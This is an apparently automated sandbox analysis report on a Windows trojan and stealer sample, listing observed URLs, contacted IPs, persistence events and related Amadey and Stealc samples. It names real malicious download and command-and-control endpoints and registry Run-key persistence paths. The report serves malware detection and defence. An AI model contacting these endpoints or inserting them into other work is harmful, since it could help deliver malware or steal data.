https://MD8.mozilla.org/1/m	firefox.exe, 00000021.00000003.3381137545.00000169CD9B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3248971153.00000169CD9B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ep	file.exe, 00000000.00000002.2426906219.0000000028B90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3236635003.00000169D9776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 00000021.00000003.3388400967.00000169CB2CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/enter.exera	file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3143474951.00000169D977A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/stealc/random.exerb	explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://addons.mozilla.org/	firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/enter.exeM32	file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=default-theme%40mozilla.org%2Caddons-	firefox.exe, 00000021.00000003.3415533966.00000169CAC98000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php00003002	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000021.00000003.3403954817.00000169CC1E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3228876656.00000169CA6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3273698360.00000169CAAC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3039034257.00000169C6F3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066433550.00000169D9DE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3277818578.00000169CAAE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386641479.00000169CBCF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3286136241.00000169CAAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3172465493.00000169CBD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3080819409.00000169D9EF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3393234826.00000169CC1E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3309306098.00000169CC1E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2948970212.00000169CA6F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3287194679.00000169CA6D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3268103076.00000169D9FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3287194679.00000169CA6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3073977083.00000169D9EE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3037729550.00000169D9EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3378661571.00000169D96A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 00000021.00000003.3070395841.00000169D5FE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3239255232.00000169D5FE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/cost/random.exeW	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000021.00000003.3220435804.00000169D9FBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/stealc/random.exe393d	explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://x1.c.lencr.org/0	firefox.exe, 00000021.00000003.3141555486.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3232671051.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329338474.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	firefox.exe, 00000021.00000003.3141555486.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3232671051.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329338474.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://a9.com/-/spec/opensearch/1.1/	firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema	firefox.exe, 00000021.00000003.3071622639.00000169CE4A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3395242716.00000169CB5D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3344434976.00000169CE4A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3154252426.00000169CE4A4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://developer.mozilla.org/en/docs/DOM:element.addEventListener	firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000021.00000003.3332787650.00000169D9955000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 00000021.00000003.3415678742.00000169CAC8D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000021.00000003.3325262935.00000169D16A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1678448	firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3301896945.00000169CB3C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php&b~	explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000021.00000003.3233159876.00000169D9B41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3097688805.00000169D9FE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/	firefox.exe, 00000021.00000003.3401672896.00000169CAE81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://truecolors.firefox.com/	firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/search	firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341844231.00000169D1B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245644401.00000169D1B82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000021.00000003.3070395841.00000169D5F5C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://twitter.com/	firefox.exe, 00000021.00000003.3386641479.00000169CBCD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3333005416.00000169D9941000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1193802	firefox.exe, 00000021.00000003.3303414952.00000169CB3CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3301896945.00000169CB3C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefox	firefox.exe, 00000021.00000003.3414526277.00000169CACDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415887521.00000169CAC81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/	firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_259.35.dr	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php(8)	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.19/c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#1.	explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/complete/search	firefox.exe, 00000021.00000003.3031385964.00000169D9F14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/firefox/new_tab_learn_more/	firefox.exe, 00000021.00000003.3139946227.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3374410709.00000169D9DAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000021.00000003.3017638643.00000169D9E23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074656356.00000169D9E1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3022138525.00000169D9E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092638388.00000169D9E07000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.phposition:	file.exe, 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.200.0.42	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
172.253.63.84	unknown	United States	15169	GOOGLEUS	false
142.250.64.99	unknown	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.200.0.9	unknown	United States	20940	AKAMAI-ASN1EU	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
172.217.16.142	unknown	United States	15169	GOOGLEUS	false
204.79.197.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.80.36	unknown	United States	15169	GOOGLEUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.80.78	unknown	United States	15169	GOOGLEUS	false
142.251.40.142	unknown	United States	15169	GOOGLEUS	false
142.251.167.84	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.72.110	unknown	United States	15169	GOOGLEUS	false
143.204.215.18	services.addons.mozilla.org	United States	16509	AMAZON-02US	false
172.217.18.14	play.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.184.206	unknown	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.251.179.84	unknown	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.81.225	unknown	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.80.99	unknown	United States	15169	GOOGLEUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.65.227	unknown	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.35.163	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482894
Start date and time:	2024-07-26 10:35:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@146/292@104/40
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 61% Number of executed functions: 81 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.68.123.157, 192.229.221.95, 20.166.126.56, 138.113.27.177, 104.208.16.94, 20.242.39.171, 20.189.173.20, 204.79.197.239, 13.107.21.239, 142.250.184.238, 13.107.42.16, 13.107.6.158, 142.250.186.35, 74.125.71.84, 142.250.74.206, 2.19.11.100, 2.19.11.120, 66.102.1.84, 2.22.50.227, 2.22.50.220, 2.22.50.217, 34.104.35.123, 142.250.185.227, 2.16.100.168, 142.250.184.234, 142.250.186.42, 172.217.18.106, 216.58.212.170, 142.250.185.106, 216.58.206.74, 142.250.185.170, 216.58.206.42, 142.250.185.234, 142.250.185.202, 142.250.186.138, 172.217.23.106, 172.217.16.138, 142.250.185.138, 142.250.185.74, 142.250.181.234, 142.250.186.74, 20.42.73.29, 52.36.33.58, 44.238.205.197, 50.112.139.120, 34.107.243.93, 142.250.185.78, 2.22.61.59, 2.22.61.56, 172.217.18.3, 142.250.186.142, 172.217.18.10, 142.250.184.227, 142.251.168.84, 74.125.206.84, 173.194.76.84, 199.232.214.172, 142.251.32.99, 142.250.176.195, 142.250.65.195
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, a416.dscd.akamai.net, clientservices.googleapis.com, aus5.mozilla.org, a19.dscg10.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, onedsblobprdcus16.centralus.cloudapp.azure.com, www.bing.com, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, content-autofill.googleapis.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, ciscobinary.openh264.org, config.edge.skype.com.trafficmanager.net, autopush.prod.mozaws.net, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, www.bing.com.edgekey.net, redirector.gvt1.com, msedg
Execution Graph export aborted for target RoamingBKJEGDGIJE.exe, PID 2276 because there are no executed function
Execution Graph export aborted for target RoamingIJEGDBGDBF.exe, PID 2864 because it is empty
Execution Graph export aborted for target explorti.exe, PID 7292 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:36:27	API Interceptor	9724589x Sleep call for process: axplong.exe modified
04:36:28	API Interceptor	3x Sleep call for process: WerFault.exe modified
04:37:03	API Interceptor	8404360x Sleep call for process: explorti.exe modified
04:37:58	API Interceptor	1x Sleep call for process: firefox.exe modified
10:36:23	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
10:36:30	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
10:37:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7ca32398cd.exe C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe
10:37:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5aa32fec17.exe C:\Users\user\1000003002\5aa32fec17.exe
10:37:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7ca32398cd.exe C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe
10:37:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5aa32fec17.exe C:\Users\user\1000003002\5aa32fec17.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.200.0.42	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	https://nekofile.eu.org/d7e69ef7da63a0b454230diaj	Get hash	malicious	Unknown	Browse
	https://nekofile.eu.org/f8e2cb54931bf39d6c12eo5nc	Get hash	malicious	Unknown	Browse
	qDpEAnF5Ju.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	QpZhH052mS.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.137.30573.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.8991.31115.exe	Get hash	malicious	RisePro Stealer	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
85.28.47.31	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	Jzu7V2qdJx.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	Nin6JE44ky.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	85.28.47.31/5499d72b3a3e55be.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	172.64.41.3
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	162.159.61.3
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
example.org	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	93.184.215.14
	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	6Vm1Ii4ASz.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
star-mini.c10r.facebook.com	zKXXNr7f2e.exe	Get hash	malicious	Babadeda	Browse	157.240.252.35
	file.exe	Get hash	malicious	Babadeda	Browse	157.240.0.35
